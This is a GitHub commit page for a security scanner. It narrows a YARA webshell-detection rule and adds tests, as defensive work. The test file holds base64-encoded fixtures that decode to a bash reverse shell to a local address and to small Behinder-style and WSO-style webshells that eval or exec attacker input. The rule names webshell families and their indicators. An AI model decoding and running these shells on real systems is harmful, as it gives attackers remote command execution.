Skip to content

Commit 071d217

Browse files
mohgupta-ship-itstefanoamorelligithub-actions[bot]
authored
fix(yara): require corroborating webshell markers (NVIDIA#489)
* fix(yara): replace prose-colliding webshell strings with family markers `php_webshell_known` matched the bare substrings "behinder" and "WSO " under `any of them`, so ordinary prose produced a CRITICAL YR2 finding at 0.9 confidence with a remediation telling the reader to remove a webshell. The German words "behindert" and "Behinderung" contain the first string, and the product name "WSO 2 Micro Integrator" contains the second, as reported in NVIDIA#487. Behinder is now identified by its hardcoded AES key, md5("rebeyond") truncated to 16 characters, which its PHP, ASP and JSP shells share and which signature-base [1] uses for the same purpose. The key is written as a YARA hex string so the packaged rule file does not carry the indicator in plaintext, in the spirit of the encoded malware rules. WSO is identified by the helper names oRb introduced in 2.x: `wsoEx(`, `WSO_VERSION` and `wsoSecParam`. I checked a WSO 2.5 source against the old and new rule: the old one hit only the banner and the bare "WSO " string, the new one hits the banner and all three helpers, so no known sample is lost. I preferred narrowing the strings over a `fullword` modifier because a document that names the Behinder family would still have scored CRITICAL, and "WSO 2" would still have matched. Fixes NVIDIA#487 [1]: https://github.com/Neo23x0/signature-base Signed-off-by: Stefano Amorelli <[email protected]> * test(yara): pin php_webshell_known against prose and family samples The benign cases are the two reproductions from NVIDIA#487 plus a document that names the Behinder and WSO families without shipping them. The malicious cases are a Behinder PHP shell, a Behinder JSP shell and a WSO fragment carrying `WSO_VERSION` and `wsoEx(`. All six fail against the previous rule: the prose cases fired and the samples were missed, so the tests guard both directions. The samples are base64-encoded like the existing reverse shell fixture so the indicators do not sit in the repository in plaintext. Signed-off-by: Stefano Amorelli <[email protected]> * fix(yara): require corroborating webshell markers Group family-specific indicators so isolated constants and documented keys do not produce critical findings. Prepared by Codex on behalf of Mohit Gupta. Signed-off-by: Mohit Gupta <[email protected]> --------- Signed-off-by: Stefano Amorelli <[email protected]> Signed-off-by: Mohit Gupta <[email protected]> Co-authored-by: Stefano Amorelli <[email protected]> Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
1 parent 794eca9 commit 071d217

2 files changed

Lines changed: 65 additions & 3 deletions

File tree

‎src/skillspector/yara_rules/webshells.yar‎

Lines changed: 12 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -56,17 +56,26 @@ rule php_webshell_known
5656
$c99v2 = "c99_sess_put" nocase
5757
$r57 = "r57shell" nocase
5858
$wso = "Web Shell by oRb" nocase
59-
$wso2 = "WSO " nocase
59+
$wso_ex = "wsoEx(" nocase ascii
60+
$wso_ver = "WSO_VERSION" nocase ascii
61+
$wso_sec = "wsoSecParam" nocase ascii
6062
$b374k = "b374k" nocase
6163
$alfa = "STARTER ALFA" nocase
6264
$weevely = "weevely" nocase
6365
$p0wny = "p0wny" nocase
6466
$antsword = "antSword" nocase
65-
$behinder = "behinder" nocase
67+
$behinder_key = { 65 34 35 65 33 32 39 66 65 62 35 64 39 32 35 62 } // AES key, md5("rebeyond")[:16]
68+
$behinder_php_tag = /<\?(php|=|[ \t\r\n])/ nocase ascii
69+
$behinder_server_tag = /<%(@|[ \t\r\n])/ ascii
6670
$godzilla = "GodzillaShell" nocase
6771
$china_chopper = "China Chopper" nocase
6872
condition:
69-
any of them
73+
any of (
74+
$c99, $c99v2, $r57, $wso, $b374k, $alfa, $weevely,
75+
$p0wny, $antsword, $godzilla, $china_chopper
76+
)
77+
or 2 of ($wso_ex, $wso_ver, $wso_sec)
78+
or ($behinder_key and any of ($behinder_php_tag, $behinder_server_tag))
7079
}
7180

7281
rule python_webshell

‎tests/nodes/analyzers/test_static_yara.py‎

Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -90,6 +90,18 @@ def _reverse_shell_fixture() -> str:
9090
return base64.b64decode("YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx").decode()
9191

9292

93+
_WEBSHELL_FIXTURES = {
94+
"behinder_php": "PD9waHAgQGVycm9yX3JlcG9ydGluZygwKTsgc2Vzc2lvbl9zdGFydCgpOyAka2V5PSJlNDVlMzI5ZmViNWQ5MjViIjsKJF9TRVNTSU9OWydrJ109JGtleTsgJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CiRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOyBldmFsKCRwb3N0KTsgPz4K",
95+
"behinder_jsp": "PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qIiU+CjwlIFN0cmluZyBrPSJlNDVlMzI5ZmViNWQ5MjViIjsgc2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7CkNpcGhlciBjPUNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7ICU+Cg==",
96+
"wso_php": "PD9waHAgZGVmaW5lKCdXU09fVkVSU0lPTicsICcyLjUnKTsKZnVuY3Rpb24gd3NvRXgoJGluKSB7ICRvdXQ9Jyc7IGlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7IEBleGVjKCRpbiwkb3V0KTsgfQpyZXR1cm4gJG91dDsgfQo=",
97+
"wso_mixed_case": "PD9waHAgZGVmaW5lKCJ3c29fdmVyc2lvbiIsICIyLjciKTsKZnVuY3Rpb24gV1NPRVgoJGluKSB7IHJldHVybiAkaW47IH0K",
98+
}
99+
100+
101+
def _webshell_fixture(name: str) -> str:
102+
return base64.b64decode(_WEBSHELL_FIXTURES[name]).decode()
103+
104+
93105
def _has_rule(findings: list, rule_name: str) -> bool:
94106
"""Return True when a finding message references a specific YARA rule."""
95107
return any(rule_name in f.message for f in findings)
@@ -778,6 +790,47 @@ def test_credential_webhook_requires_collection_and_transmission(self):
778790
findings = _run_builtin(content, "README.md")
779791
assert not _has_rule(findings, "agent_skill_credential_exfiltration_webhook")
780792

793+
@pytest.mark.parametrize(
794+
"content",
795+
[
796+
"Zu kleine Schrift behindert das Lesen. Menschen mit Behinderung\n"
797+
"brauchen ausreichende Kontraste.\n",
798+
"We deploy the API on WSO 2 Micro Integrator.\n",
799+
"This skill detects Behinder and WSO webshells in uploaded files.\n",
800+
],
801+
ids=["german_prose", "wso2_product_name", "family_names_in_docs"],
802+
)
803+
def test_known_webshell_rule_ignores_prose(self, content):
804+
findings = _run_builtin(content, "SKILL.md")
805+
assert not _has_rule(findings, "php_webshell_known")
806+
807+
@pytest.mark.parametrize(
808+
"content",
809+
[
810+
"<?php define('WSO_VERSION', '0.5.2'); ?>\n",
811+
"function wsoEx($input) { return $input; }\n",
812+
"function wsoSecParam($name, $value) { return $value; }\n",
813+
"Known indicator: e45e329feb5d925b\n",
814+
],
815+
ids=["version_constant", "execution_helper", "security_helper", "key_in_docs"],
816+
)
817+
def test_known_webshell_rule_ignores_isolated_family_markers(self, content):
818+
findings = _run_builtin(content, "reference.php")
819+
assert not _has_rule(findings, "php_webshell_known")
820+
821+
@pytest.mark.parametrize(
822+
("fixture", "filename"),
823+
[
824+
("behinder_php", "shell.php"),
825+
("behinder_jsp", "shell.jsp"),
826+
("wso_php", "shell.php"),
827+
("wso_mixed_case", "shell.php"),
828+
],
829+
)
830+
def test_known_webshell_rule_matches_family_markers(self, fixture, filename):
831+
findings = _run_builtin(_webshell_fixture(fixture), filename)
832+
assert _has_rule(findings, "php_webshell_known")
833+
781834

782835
# ── Rule caching ──────────────────────────────────────────────────────
783836

0 commit comments

Comments
 (0)